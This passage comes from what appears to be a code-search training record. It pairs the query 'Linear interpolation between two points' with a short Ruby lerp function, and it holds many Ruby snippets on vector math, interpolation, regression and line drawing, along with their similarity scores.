order.participants.for_calculation\n\n each_point { |point| compute_point(order, point, producers) }\n\n self\n end", "def calculate_attributes_formula\n attributes_groups.each do |group|\n next unless group.character_attributes\n\n group.character_attributes.each do |attribute|\n if group.attributes_points_formula.present?\n attribute.total = self.calculator.evaluate(group.attributes_points_formula.gsub('points', attribute.points.to_s))\n elsif attribute.formula.present?\n attribute.total = self.calculator.evaluate(attribute.formula)\n end\n end\n end\n end", "def r\n v = 0\n # for e in @elements ; v += e*e ; end\n my_elems = @elements\n my_size = my_elems.size\n for i in 0..my_size-1 do\n e = my_elems[i]\n v += e * e\n end\n return Math.sqrt(v)\n end", "def *(x)\n if x._isNumeric\n # els = @elements.collect{|e| e * x} \n my_elems = @elements\n e_size = my_elems.size\n els = Array.new(e_size)\n for i in 0..e_size-1 do\n els[i] = my_elems[i] * x\n end\n\n Vector.elements(els, false)\n else\n matrix_cls = Matrix\n if x._kind_of?( matrix_cls )\n matrix_cls.column_vector(self) * x\n else\n cr = x.coerce(self)\n cr[0] * cr[1]\n end\n end\n end", "def initialize_math_functions\n Math.methods(false).each do |method|\n math_method = Math.method(method)\n add_function(\n name: method,\n type: :numeric,\n signature: [:numeric],\n body: ->(*args) { math_method.call(*args) }\n )\n end\n end", "def update(point)\n\t\t\n\tend", "def update(point)\n\t\t\n\tend", "def mul(factors)\n view.update_many(\"$mul\" => collect_operations(factors))\n end", "def square_of_sum\n end", "def addPoints(points) \n\t\t@points += points\n\tend", "def evaluate_expression vector\n\t\t\t\tsum = 0\n\t\t\t\t@coefficients.length.times { |index|\n\t\t\t\t\tsum+=@coefficients[index]*vector[index]\n\t\t\t\t}\n\t\t\t\treturn sum\n\t\t\tend", "def points(prog); @points[@progs[prog]]; end", "def draw(vectors)\n Shoes.app do\n vectors.each do |points|\n (0..1).step(0.005).each do |t|\n result = (1-t)**3*points[0] + 3*t*(1-t)**2*points[1] + 3*t**2*(1-t)*points[2] + t**3*points[3]\n oval(result[0]+100, result[1]+100, 1)\n end\n end\n end\nend", "def sum_values\n points.sum\n end", "def evaluate(ops)\n \t\tops = tokens(ops)\n \t\tmethods = {:+ => Proc.new{plus()}, :- => Proc.new{minus()}, :* => Proc.new{times()}, :/ => Proc.new{divide()}}\n \t\tops.each do |op|\n \t\t\tif methods.has_key?(op)\n \t\t\t\tmethods[op].call\n \t\t\telse\n \t\t\t\tpush(op)\n \t\t\tend\n \t\tend\n \t\tvalue()\n end", "def *(coef)\n Point.new(@x * coef, @y * coef)\n end", "def evaluate_expression vector\n\t\t\t\traise NotImplementedError\n\t\t\tend", "def do_math(s)\n splitted_str = s.split(' ')\n operation = DoTheOperation.new( splitted_str )\n operation.do_math\nend", "def *(scalar)\n raise TypeError, \"Multiplication between Point and #{ scalar.class } is not defined\" unless scalar.is_a?(Numeric)\n Point.new(x * scalar, y * scalar)\n end", "def calc_contribution(f)\n each_class do |k|\n a, b, c, d = get_A(f, k), get_B(f, k), get_C(f, k), get_D(f, k)\n \n s = 0.0\n x, y = b+d, a+c\n \n s = (d/x)**(@k) - (c/y)**(@k) if not x.zero? and not y.zero?\n \n set_feature_score(f, k, s)\n end\n end", "def calculate_points\n raise \"The bracket was not loaded\" if !@loaded\n\n calculate_team_points\n calculate_player_points\n end", "def calculate(starting_value, operations)\n for i in 0...operations.length\n # just in case an unexpected operator is given:\n if '*/+-'.include?(operations[i][0]) == false\n puts 'unexpected operator!'\n break\n end\n \n if operations[i][0] == \"*\"\n starting_value *= operations[i][1]\n elsif operations[i][0] == \"+\"\n starting_value += operations[i][1]\n elsif operations[i][0] == \"-\"\n starting_value -= operations[i][1]\n else\n starting_value /= operations[i][1]\n end\n end\n starting_value\nend", "def simple_points(frames)\n all_rolls(frames).sum\n end", "def evaluate_expression vector\n\t\t\t\tsum = 0\n\t\t\t\t@coefficients.length.times { |index|\n\t\t\t\t\tsum+=@coefficients[index]*vector[index]\n\t\t\t\t}\n\t\t\t\treturn 1.0/sum\n\t\t\tend", "def calc_contribution(f)\n each_class do |k|\n a, b, c, d = get_A(f, k), get_B(f, k), get_C(f, k), get_D(f, k)\n \n s = 0.0\n x = (a+b)*(a+c)*(b+d)*(c+d)\n \n s = (a*d-b*c) / Math.sqrt(x) if not x.zero?\n \n set_feature_score(f, k, s)\n end\n end", "def product(array) \n sum = 1\n array.each { |x| \n sum = sum * x\n\n } \n sum \n \n \nend", "def calculate_pi(number)\n denominator = 1.0\n operation = 1.0\n pi = 0\n\n (1..number).each do |_count|\n pi += operation * (4.0 / denominator)\n denominator += 2.0\n operation *= -1.0\n end\n\n pi\nend", "def multiply_els(elements)\n elements.my_inject(:*)\nend", "def compute( inputs, type, &block )\n return self.items.map {|v| v.compute( inputs, type )}.forzip(nil,&block)\n end", "def calculate(a,b,c)\n s = a * b* c \n end", "def eval(r, p)\n sum = 0.0;\n world_size = r.world_size\n p.each_with_index do | particle, i | # calculate mean error\n dx = (p[i].x - r.x + (r.world_size/2.0)) % r.world_size - (r.world_size/2.0)\n dy = (p[i].y - r.y + (r.world_size/2.0)) % r.world_size - (r.world_size/2.0)\n\t#putss 'dxy', dx, dy\n err = Math::sqrt(dx * dx + dy * dy)\n sum += err\n end\n return sum / p.size.to_f\nend", "def eval(r, p)\n sum = 0.0;\n world_size = r.world_size\n p.each_with_index do | particle, i | # calculate mean error\n dx = (p[i].x - r.x + (r.world_size/2.0)) % r.world_size - (r.world_size/2.0)\n dy = (p[i].y - r.y + (r.world_size/2.0)) % r.world_size - (r.world_size/2.0)\n\t#putss 'dxy', dx, dy\n err = Math::sqrt(dx * dx + dy * dy)\n sum += err\n end\n return sum / p.size.to_f\nend", "def compute(fdata)\n #print \"Jdu spocitat: \" + @calculate.to_s + \"\\n\"\n @calculator.evaluate(@calculate)\n end" ]
[ "0.5841139", "0.5778022", "0.5758805", "0.5744497", "0.5718926", "0.564971", "0.563767", "0.5617324", "0.56171334", "0.55829835", "0.55692166", "0.5550936", "0.5547049", "0.5544676", "0.5532646", "0.5528335", "0.5523159", "0.5487271", "0.5486873", "0.54867727", "0.5463456", "0.54617876", "0.54617876", "0.54343206", "0.54343206", "0.54232186", "0.54112715", "0.5410807", "0.54017407", "0.5383531", "0.5371881", "0.53676564", "0.5334619", "0.53039706", "0.53007925", "0.5300695", "0.5268723", "0.52605116", "0.52484465", "0.52439356", "0.52400357", "0.5227523", "0.5221513", "0.5213365", "0.52127904", "0.5205116", "0.52047217", "0.5185118", "0.51744485", "0.51617324", "0.5160279", "0.51601547", "0.51591015", "0.5153668", "0.5143012", "0.51327264", "0.5131396", "0.51312387", "0.512596", "0.5125223", "0.5123314", "0.5122608", "0.5116365", "0.51146394", "0.51130676", "0.51102567", "0.5104566", "0.5100364", "0.5095766", "0.5091716", "0.5077684", "0.5072137", "0.50700474", "0.50686866", "0.50686866", "0.50682086", "0.50680023", "0.50627744", "0.5058317", "0.5054161", "0.5047028", "0.504279", "0.5039359", "0.50349474", "0.50292814", "0.5028099", "0.5023722", "0.50222844", "0.50201494", "0.50172395", "0.50156504", "0.50129825", "0.5011636", "0.5010828", "0.50066984", "0.50024706", "0.5001802", "0.49998236", "0.49983716", "0.49983716", "0.49934995" ]
0.0
-1
Linear interpolation between two points
def bbpLerp(first_point, second_point, alpha) bbpAdd(bbpMult(first_point, 1 - alpha), bbpMult(second_point, alpha)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def lerp(x1, y1, x2, y2, x)\n return y1 + (x - x1) * ((y2 - y1) / (x2 - x1))\nend", "def get_linear_interpolation_with(other, bias = 0.5)\n raise 'Invalid track point' unless other.is_a? TrackPoint\n TrackPoint.new longitude * (1.0 - bias) + other.longitude * bias,\n latitude * (1.0 - bias) + other.latitude * bias,\n elevation * (1.0 - bias) + other.elevation * bias,\n time.nil? || other.time.nil? ? nil : Time.at(time.to_f * (1.0 - bias) + other.time.to_f * bias)\n end", "def interpolate(a, b)\n a = a.to_f\n b = b.to_f\n b -= a\n\n lambda { |t| a + b * t }\n end", "def interp ( ya, yb, xa, xb, x )\n# return ya if x == xa\n factor = (x - xa) / (xb - xa )\n return ya + factor * ( yb - ya )\nend", "def linear_interpolation(index, table)\n index_whole = index.to_i\n index_fract = index - index_whole\n pt1 = table[index_whole]\n pt2 = table[index_whole + 1]\n slope = (pt2 - pt1) / 1.0\n slope * index_fract + 1\nend", "def interpolate( v1, v2, periods, method )\n out = []\n fv1 = v1.to_f()\n fv2 = v2.to_f()\n fp = periods.to_f() # force us to use floating point everywhere\n case method\n when EXPONENTIAL then\n growth = Math.log( fv2 / fv1 ) / ( fp - 1 )\n periods.times{\n |p|\n out[p] = fv1*(( 1.0 + growth ) ** p )\n } \n out[periods-1] = v2;\n # fixme exacty growth interpolation\n when LINEAR then\n diff = ( fv2 - fv1 ) / ( fp - 1 )\n periods.times{\n |p|\n out[p] = v1 + (diff*p)\n }\n end\n return out\nend", "def test_interpolate\n xvals = [10, 30]\n yvals = [25, 35]\n\n assert_in_delta 43.5, Utils.interpolate(xvals, yvals, 47), 0.01\n assert_in_delta 26.5, Utils.interpolate(xvals, yvals, 13), 0.01\n assert_in_delta 70, Utils.interpolate(xvals, yvals, 100), 0.01\n end", "def fit_linear(xs, ys)\n fit(xs, ys)\n end", "def uninterpolate\n a = 0.0\n b = (wrong + right).to_f\n b = b - a > 0 ? 1 / (b - a) : 0\n\n lambda { |x| (x - a) * b }\n end", "def linear_interpolate(frequency)\n raise AggregationException unless (frequency == :quarter and self.frequency == 'year') or\n (frequency == :month and self.frequency == 'quarter') or \n (frequency == :day and self.frequency == 'month')\n data_copy = self.data.sort\n last_val = data_copy[0][1]\n last_date = data_copy[0][0]\n first = data_copy.shift\n \n new_series_data = nil\n data_copy.each do |date, val|\n diff = val - last_val\n new_series_data = last_date.linear_path_to_previous_period(last_val, 0, self.frequency.to_sym, frequency) if new_series_data.nil?\n new_series_data.merge! date.linear_path_to_previous_period(val, diff, self.frequency.to_sym, frequency)\n last_val = val\n last_date = date\n end\n new_transformation(\"Interpolated (linear match last) from #{self}\", new_series_data, frequency)\n end", "def linear_interpolate(frequency)\n raise AggregationError unless (frequency == :quarter and self.frequency == \"year\") or \n (frequency == :month and self.frequency == \"quarter\") or \n (frequency == :day and self.frequency == \"month\")\n data_copy = self.data.sort\n last_val = data_copy[0][1]\n last_date = data_copy[0][0]\n first = data_copy.shift\n \n new_series_data = nil\n data_copy.each do |date_string, val|\n diff = val - last_val\n new_series_data = last_date.linear_path_to_previous_period(last_val, 0, self.frequency, frequency) if new_series_data.nil?\n new_series_data.merge! date_string.linear_path_to_previous_period(val, diff, self.frequency, frequency)\n last_val = val\n last_date = date_string\n end\n \n new_series = new_transformation(\"Interpolated (linear match last) from #{self.name}\", new_series_data)\n new_series.frequency = frequency \n new_series\n end", "def interpolate_at(p)\n\t\tn = near_to(p)[0..1]\n\t\treturn nil if n.size < 1\n\t\treturn n[0].data\n\n\t\t# Check if we have a datapoint at the desired location\n\t\tif n[0].distance_sq_to(p) < 1e-10\n\t\t\treturn n[0].data\n\t\tend\n\n\t\t# Weighed average of each element of data with weight as 1/distance^2\n\t\tw = n.map{|x| 1.0/x.distance_sq_to(p)}\n\t\tw_sum = w.inject(0.0){|sum, wi| sum += wi}\n\t\tweighed_data = n.zip(w).map{|e, wi| e.data.map{|x| x * wi / w_sum}}\n\t\taverage = weighed_data.transpose.map{|x| x.inject(0.0, :+)}\n\t\treturn average\n\tend", "def interp2(x, y, z, xq, yq, method, extrapval) # flatten\n nx = x.length\n ny = y.length\n # nz = z.length\n nxq = xq.length\n nyq = yq.length\n inquiry(double: nxq * nyq) do |zq|\n super(nx, ny, x, y, z, nxq, nyq, xq, yq, zq, method, extrapval)\n end\n end", "def Point2dInterpolate(arg0, arg1, arg2)\n ret = _invoke(1610743815, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_R8, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def linfit(x,y)\n sum_x = 0.0\n sum_y = 0.0\n sum_prod = 0.0\n sum_x2 = 0.0\n n = x.size\n n.times {|i| \n sum_x += x[i]\n sum_y += y[i]\n sum_prod += x[i]*y[i]\n sum_x2 += x[i]*x[i]\n }\n b = (n*sum_prod - sum_x*sum_y) / (n*sum_x2 - sum_x*sum_x)\n a = (sum_y - b*sum_x) / n\n raise NotEnoughData if a.nan? or b.nan?\n [a,b]\n end", "def interpolate stroke\n current = stroke.first\n new_stroke = [current]\n\n index = 1\n last_index = 0\n while index < stroke.length do\n point = stroke[index]\n\n #only consider point with greater than d distance to current point\n if Math.euclidean_distance(current, point) < @interpolate_distance\n index += 1\n else\n\n #calculate new point coordinate\n new_point = []\n if point[0].round(2) == current[0].round(2) # x2 == x1\n if point[1] > current[1] # y2 > y1\n new_point = [current[0], current[1] + @interpolate_distance]\n else # y2 < y1\n new_point = [current[0], current[1] - @interpolate_distance]\n end\n else # x2 != x1\n slope = (point[1] - current[1]) / (point[0] - current[0]).to_f\n if point[0] > current[0] # x2 > x1\n new_point[0] = current[0] + Math.sqrt(@interpolate_distance**2 / (slope**2 + 1))\n else # x2 < x1\n new_point[0] = current[0] - Math.sqrt(@interpolate_distance**2 / (slope**2 + 1))\n end\n new_point[1] = slope * new_point[0] + point[1] - (slope * point[0])\n end\n\n new_point = new_point.map{ |num| num.round(2) }\n if current != new_point\n new_stroke << new_point\n\n current = new_point\n end\n last_index += ((index - last_index) / 2).floor\n index = last_index + 1\n end\n end\n\n new_stroke\n end", "def interpoltype()\n return :linear\n end", "def linear( dindex )\n #puts \"interpolate dindex #{dindex}\"\n #puts \"interpolate indices #{@indices.inspect}\"\n #puts \"interpolate values #{@values.inspect}\"\n\n if not defined? @indices\n build_indices\n end\n \n if @indices.length == 1\n return @values[0]\n end\n\n irange = [0, @indices.length-1]\n\n if dindex < @indices[irange[0]]\n dindex = @indices[irange[0]]\n elsif dindex > @indices[irange[1]]\n dindex = @indices[irange[1]]\n end\n\n maxiter = 1000\n niter = 0\n while (irange[1]-irange[0] >1 and niter < maxiter)\n niter += 1\n if dindex == @indices[irange[0]]\n\treturn @values[irange[0]]\n elsif dindex == @indices[irange[1]]\n\treturn @values[irange[1]]\n else\n\timean = ((irange[1]+irange[0])/2).to_i\n\tif dindex <= @indices[imean]\n\t newirange = [irange[0],imean]\n\telse\n\t newirange = [imean, irange[1]]\n\tend\n\tirange = newirange\n end\n end\n\n if niter == maxiter\n Kernel::raise(\"WARNING: niter maxiter for dindex #{dindex} and @indices #{@indices}\")\n end\n \n pindex, pvalue, index, value = [@indices[irange[0]], @values[irange[0]], @indices[irange[1]], @values[irange[1]]]\n # puts \"dindex #{dindex} pindex #{pindex}, pvalue #{pvalue}, index #{index}, value #{value}\"\n if pindex.fequal?(index)\n result = value\n else\n result = pvalue + ((value + pvalue * (-1.0) ) * ((dindex - pindex) / (index - pindex )))\n end\n # puts \"interpolate result #{result}\"\n return result\n end", "def interp2(x, y, z, xq, yq, method, extrapval)\n nx = x.length\n ny = y.length\n # nz = z.length\n nxq = xq.length\n nyq = yq.length\n inquiry(double: nxq * nyq) do |zq|\n super(nx, ny, x, y, z, nxq, nyq, xq, yq, zq, method, extrapval)\n end\n end", "def interpolbi pontos\n pontos = pontos.sort\n lambda do |*x|\n lagrange pontos.map {|x1, pts|\n [x1, lagrange(pts).call(x[1])]\n }.call(x[0])\n end\nend", "def interpolate(points, parameters = nil, types = nil)\n if points.empty?\n clear\n return\n end\n\n\t\tcoordinates = points\n\n\t\t# flatten points if required\n if not points.first.kind_of?(Numeric)\n coordinates = points.map(&:to_a).flatten!\n if points.size * self.dimension != coordinates.size\n raise ArgumentError, \"point of wrong dimension given to #interpolate: got #{coordinates.size} coordinates overall, expected #{points.size * self.dimension}\"\n end\n\t\tend\n\n\t\t# check types argument size\n\t\tif types\n if types.size != (coordinates.size / self.dimension)\n raise ArgumentError, \"if types are given, it needs to be of the same size as points. \" +\n \"types.size = #{types.size}, points.size = #{coordinates.size / self.dimension}\"\n end\n # convert the symbols to consts from the enum\n types = types.map {|v| CoordinateType.const_get v} \n else\n types = [CoordinateType::ORDINARY_POINT] * (coordinates.size / self.dimension)\n\t\tend\n\n\t\tdo_interpolate(coordinates, parameters || [], types || [])\n end", "def interpolate(points, parameters = nil, types = nil)\n coordinates = []\n for p in points\n coordinates << p.x << p.y << p.z\n end\n super(coordinates, parameters, types)\n end", "def interpolate(progress)\n progress *= dps.count # range from 0 to wavedata length.\n val = dps[progress.to_i] # truncate progress.\n #puts progress.to_i\n # now add the interpolation to the next point\n if (progress < dps.count-1) # avoid error on last point\n dif_x = progress.to_i+1 - progress # how far to next datapoint? 0 to 1\n dif_y = dps[progress.to_i+1] - dps[progress.to_i]\n interpolation = dif_x * dif_y\n val += interpolation\n end\n return val\nend", "def get_y(inter, slope, x)\n tmp = slope * x\n y = inter + tmp\n return y\nend", "def slerp!(destination, alpha)\n slerp(destination, alpha, self)\n end", "def spline_fitting(sampled_points, interp_points)\n\t# this function takes a given set of discrete points and fit the curve of them using piece wise splines functions\t\n\t\nend", "def lerp(matrix1, matrix2, amount)\n end", "def interpolate(string, values); end", "def gradient(point1,point2)\n ((point1[1] - point2[1]).to_f/(point1[0] - point2[0]))\nend", "def linear_gradient(x1,y1,x2,y2,extend,*stops) \n g =LinearPattern.new(x1,y1,x2,y2) \n g.set_extend(eval(\"EXTEND_#{extend.to_s.upcase}\")) \n stops.each {|s| \n g.add_color_stop_rgba(*s)\n } \n return g \n end", "def interp(f, l, u, n)\r\n h = (u - l).fdiv n\r\n (0...n).map{|i| ((f[i * h + l]) * 100).floor / 100.0}\r\nend", "def interpolate_points(measurements)\n points = []\n\n measurements.each_index do |i|\n point = { x: i * 60, y: measurements[i]['count'] } # use the 'count' metric\n # point = { x: i, y: measurements[i]['value'] } # use the 'value' metric\n points << point\n end \n\n points\nend", "def dbl_linear(n)\n u = [1]\n x = 0\n y = 0\n\n for i in 0..n do\n u_x = 2 * u[x] + 1\n u_y = 3 * u[y] + 1\n if u_x <= u_y\n u[i+1] = u_x\n x += 1\n y += 1 if u_x == u_y\n else\n u[i+1] = u_y\n y += 1\n end\n end\n u[n]\nend", "def fit(xs, ys, tran_x: ->(x) { x }, tran_y: ->(y) { y })\n eps = (10 ** -10)\n n = 0\n sum_x = 0.0\n sum_x2 = 0.0\n sum_y = 0.0\n sum_y2 = 0.0\n sum_xy = 0.0\n\n xs.zip(ys).each do |x, y|\n n += 1\n sum_x += tran_x.(x)\n sum_y += tran_y.(y)\n sum_x2 += tran_x.(x) ** 2\n sum_y2 += tran_y.(y) ** 2\n sum_xy += tran_x.(x) * tran_y.(y)\n end\n\n txy = n * sum_xy - sum_x * sum_y\n tx = n * sum_x2 - sum_x ** 2\n ty = n * sum_y2 - sum_y ** 2\n\n is_linear = tran_x.(Math::E) * tran_y.(Math::E) == Math::E ** 2\n\n if tx.abs < eps # no variation in xs\n raise ArgumentError, \"No variation in data #{xs}\"\n elsif ty.abs < eps && is_linear # no variation in ys - constant fit\n slope = 0\n intercept = sum_y / n\n residual_sq = 1 # doesn't exist\n else\n slope = txy / tx\n intercept = (sum_y - slope * sum_x) / n\n residual_sq = (txy ** 2) / (tx * ty)\n end\n\n [slope, intercept, residual_sq]\n end", "def two_points_to_line(x1,y1,x2,y2) \n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def two_points_to_line(x1,y1,x2,y2) \n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def two_points_to_line(x1,y1,x2,y2) \n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def interpolate(*weights_and_colors)\n return self if weights_and_colors.empty?\n weights, colors = [], []\n colors << self\n weights_and_colors.flatten.each{|e| (e.is_a?(Numeric)? weights : colors) << e}\n sum = weights.inject(0){|s,i| s+i}.to_f\n (weights.unshift(1-sum); sum = 1) if weights.length == colors.length - 1\n h, s, l, a = 0, 0, 0, 0\n colors.each_with_index{|c, i|\n c_h, c_s, c_l, c_a = *(self.new_extended_color(c).to_hsl.to_a)\n r = weights[i] / sum\n h += c_h * r\n s += c_s * r\n l += c_l * r\n a += c_a * r\n }\n return self.from_hsl([h, s, l, a])\n end", "def line(x0, y0, x1, y1)\n # clean params\n x0, y0, x1, y1 = x0.to_i, y0.to_i, x1.to_i, y1.to_i\n y0, y1, x0, x1 = y1, y0, x1, x0 if y0>y1\n sx = (dx = x1-x0) < 0 ? -1 : 1 ; dx *= sx ; dy = y1-y0\n\n # special cases\n x0.step(x1,sx) { |x| point x, y0 } and return if dy.zero?\n y0.upto(y1) { |y| point x0, y } and return if dx.zero?\n x0.step(x1,sx) { |x| point x, y0; y0 += 1 } and return if dx==dy\n\n # main loops\n point x0, y0\n\n e_acc = 0\n if dy > dx\n e = (dx << 16) / dy\n y0.upto(y1-1) do\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xFFFF\n x0 += sx if (e_acc <= e_acc_temp)\n point x0, (y0 += 1), intensity(@color,(w=0xFF-(e_acc >> 8)))\n point x0+sx, y0, intensity(@color,(0xFF-w))\n end\n point x1, y1\n return\n end\n\n e = (dy << 16) / dx\n x0.step(x1-sx,sx) do\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xFFFF\n y0 += 1 if (e_acc <= e_acc_temp)\n point (x0 += sx), y0, intensity(@color,(w=0xFF-(e_acc >> 8)))\n point x0, y0+1, intensity(@color,(0xFF-w))\n end\n point x1, y1\n end", "def two_points_to_line(x1,y1,x2,y2)\n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def tween_linear(t)\n t\n end", "def two_points_to_line(x1,y1,x2,y2)\n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def line(x, y)\n [x.value, y.value]\n end", "def lerp_vector(vector, t)\n self.class.new(Vector2.lerp(@x, vector.x, t),\n Vector2.lerp(@y, vector.y, t))\n end", "def mod_add (a, b)\n if b.inf\n return a\n end\n if a.inf\n return b\n end\n\n x1 = a.x\n x2 = b.x\n y1 = a.y\n y2 = b.y\n\n if x1 == x2 and y1 == -y2\n return Point.new Float::INFINITY, Float::INFINITY\n end\n\n if x1 == x2 and y1 == y2\n lambda = self.mod_inv 3 * x1 ** 2 + @a, 2 * y1\n else\n lambda = self.mod_inv y2 - y1, x2 - x1\n end\n\n x3 = Curve.mod lambda ** 2 - x1 - x2, @fp\n y3 = Curve.mod lambda * (x1 - x3) - y1, @fp\n\n Ecc::Point.new x3, y3\n end", "def Point3dInterpolate(arg0, arg1, arg2)\n ret = _invoke(1610743853, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_R8, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def points_on_a_line(x0, y0, x1, y1)\n raise NotImplementedError\n dx = (x1 - x0).abs\n dy = -(y1 - y0).abs\n step_x = x0 < x1 ? 1 : -1\n step_y = y0 < y1 ? 1 : -1\n err = dx + dy\n coords = Array.new\n coords << [x0, y0]\n (\n begin\n e2 = 2 * err\n\n if e2 >= dy\n err += dy\n x0 += step_x\n end\n\n if e2 <= dx\n err += dx\n y0 += step_y\n end\n\n coords << [x0, y0]\n end\n\n ) until (x0 == x1 && y0 == y1)\n coords\n end", "def linear(g, slope)\n case slope <=> 0\n when 1\n g - (g * (random**(0.5))) # slope 1/2)\n when -1\n g * (random**(0.5)) # slope -1/2\n when 0\n g * random\n end\n end", "def scale(range)\n u = uninterpolate\n i = interpolate(range[0], range[1])\n\n lambda do |x|\n x = ([0.0, x, (wrong + right).to_f].sort[1]).to_f\n i.call(u.call(x))\n end\n end", "def get_next_point(low_ys , high_ys , cur_y)\n #Current point is nearer to high_ys than low_ys\n if cur_y - low_ys.last > high_ys.last - cur_y\n high_ys << cur_y\n return low_ys.last + (cur_y - low_ys.last) * GOLDEN_RATIO\n else\n low_ys << cur_y\n return cur_y + (high_ys.last - cur_y) * GOLDEN_RATIO\n end\n end", "def lerp(matrix, amount)\n end", "def predict(x)\n x * @slope\n end", "def we pts1, pts2\n (1 / ( 10 ** ( - (pts1 - pts2) / 400.0) + 1)).round(3)\n end", "def interpolate_route(coords, dist_factor = 100.0)\n return coords if dist_factor <= 0\n\n length = line_length(coords)\n min_res = length / dist_factor\n\n coords.each_cons(2).inject([]) do |route, (a, b)|\n segment = add_extra_points(a, b, min_res)\n route + segment\n end\n end", "def hline(x1, x2, y, c)\n x1, x2, y = x1.to_i, x2.to_i, y.to_i\n\n unless self.bounds?(x1, y) && self.bounds?(x2, y)\n puts \"ERR: Coordinates out of bounds\"\n return\n end\n\n (x1..x2).each {|x| self[y, x] = c}\n end", "def get_line(x0,x1,y0,y1)\n \t\tpoints = []\n\t\tsteep = ((y1-y0).abs) > ((x1-x0).abs)\n\t\tif steep then\n\t\t\tx0,y0 = y0,x0\n\t\t\tx1,y1 = y1,x1\n\t\tend\n\t\tif x0 > x1\n\t\t\tx0,x1 = x1,x0\n\t\t\ty0,y1 = y1,y0\n\t\tend\n\t\tdeltax = x1-x0\n\t\tdeltay = (y1-y0).abs\n\t\terror = (deltax / 2).to_i\n\t\ty = y0\n\t\tystep = nil\n\t\tif y0 < y1 then\n\t\t\tystep = 1\n\t\telse\n\t\t\tystep = -1\n\t\tend\n\t\tfor x in x0..x1\n\t\t\tif steep then\n\t\t\t\tpoints << {:x => y, :y => x}\n\t\t\telse\n\t\t\t\tpoints << {:x => x, :y => y}\n\t\t\tend\n\t\t\terror -= deltay\n\t\t\tif error < 0 then\n\t\t\t\ty += ystep\n\t\t\t\terror += deltax\n\t\t\tend\n\t\tend\n\t\treturn points\n\tend", "def interpolate_rgb(a=nil,b=nil)\n if a == nil and b == nil\n `#@d3.interpolateRgb`\n else\n @d3.JS.interpolateRgb(a,b)\n end\n end", "def interpolate(from, to, duration = 0, easing = Easing::LINEAR, &block)\n @value = from\n interpolate_to(to, duration, easing, &block)\n end", "def linear_regression(data)\n sxx = sxy = sx = sy = 0\n data.length.times do |x|\n y = data[x]\n sxy += x*y\n sxx += x*x\n sx += x\n sy += y\n end\n slope = (data.length * sxy - sx * sy) / (data.length * sxx - sx * sx)\n offset = (sy - slope * sx) / data.length\n [slope, offset]\nend", "def interpolate( dindex )\n vs = self.interpolators.map {|inter| inter.interpolate( dindex )}\n if self.interpoldomain == :rgb\n return Color[ *vs ]\n elsif self.interpoldomain == :hsv\n return Color.hsva( *vs )\n else\n return Color.hsla( *vs )\n end\n end", "def interpolate(frequency, operation)\n # puts \"FREQUENCY: #{frequency} - #{frequency.class}\"\n # puts \"SELF.FREQUENCY: #{self.frequency} - #{self.frequency.class}\"\n # puts \"OPERATION: #{operation} - #{operation.class}\"\n #also needs to be ok with frequency of annual\n #raise InterpolationException if frequency != :quarter or self.frequency != \"semi\" or operation != :linear\n raise InterpolationException if data.count < 2\n last = nil\n last_date = nil\n interval = nil\n quarterly_data = {}\n data.sort.each do |key, value|\n next if value.nil?\n unless last.nil?\n d1 = Date.parse key\n d2 = Date.parse last_date\n quarter_diff = ((d1.year - d2.year) * 12 + (d1.month - d2.month))/3\n interval = value - last \n quarterly_data[last_date] = last - interval/(quarter_diff*2) \n quarterly_data[(Date.parse(last_date) >> 3).to_s] = last + interval/(quarter_diff*2) \n end\n last = value\n last_date = key\n end\n #not sure why this one is needed... but using the default 4 for here instead of 2*quarter_diff\n quarterly_data[last_date] = last - interval/4\n quarterly_data[(Date.parse(last_date) >> 3).to_s] = last + interval/4\n #quarterly_data\n new_series = new_transformation(\"Interpolated from #{self.name}\", quarterly_data)\n new_series.frequency = frequency \n new_series\n end", "def inflate(x,y)\n return self.class.new(self[0] - x.div(2),\n self[1] - y.div(2),\n self[2] + x,\n self[3] + y)\n end", "def nn(x,y)\n measured = points.each_with_object(Hash.new { |h, k| h[k] = [] }) do |(coords, point), h|\n next if point.coords == [x, y]\n\n dist = point.dist(x, y)\n\n h[dist] << coords\n end\n\n measured.min_by { |k, _v| k }[1]\n end", "def [] x\n t = self.t(x)\n if t.nil?\n raise RuntimeError, \"Region#[] called for a region with undefined end points, or x lies outside end points.\"\n end\n\n if t == 0.0\n start_point.y\n elsif t == 1.0\n end_point.y\n else\n k1 = start_point.gradient\n k2 = end_point.gradient\n\n y1 = start_point.y\n y2 = end_point.y\n\n x1 = start_point.x\n x2 = end_point.x\n\n a = k1 * (x2 - x1) - (y2 - y1)\n b = -k2 * (x2 - x1) + (y2 - y1)\n\n (1 - t) * y1 + t * y2 + t * (1 - t) * (a * (1 - t) + b * t)\n end\n end", "def interpolate( dindex )\n return method( self.interpoltype ).call( dindex )\n end", "def get_line(x0,x1,y0,y1)\n points = []\n steep = ((y1-y0).abs) > ((x1-x0).abs)\n if steep\n x0,y0 = y0,x0\n x1,y1 = y1,x1\n end\n if x0 > x1\n x0,x1 = x1,x0\n y0,y1 = y1,y0\n end\n deltax = x1-x0\n deltay = (y1-y0).abs\n error = (deltax / 2).to_i\n y = y0\n ystep = nil\n if y0 < y1\n ystep = 1\n else\n ystep = -1\n end\n for x in x0..x1\n if steep\n points << {:x => y, :y => x}\n else\n points << {:x => x, :y => y}\n end\n error -= deltay\n if error < 0\n y += ystep\n error += deltax\n end\n end\n return points\nend", "def calc_slope(x1, y1, 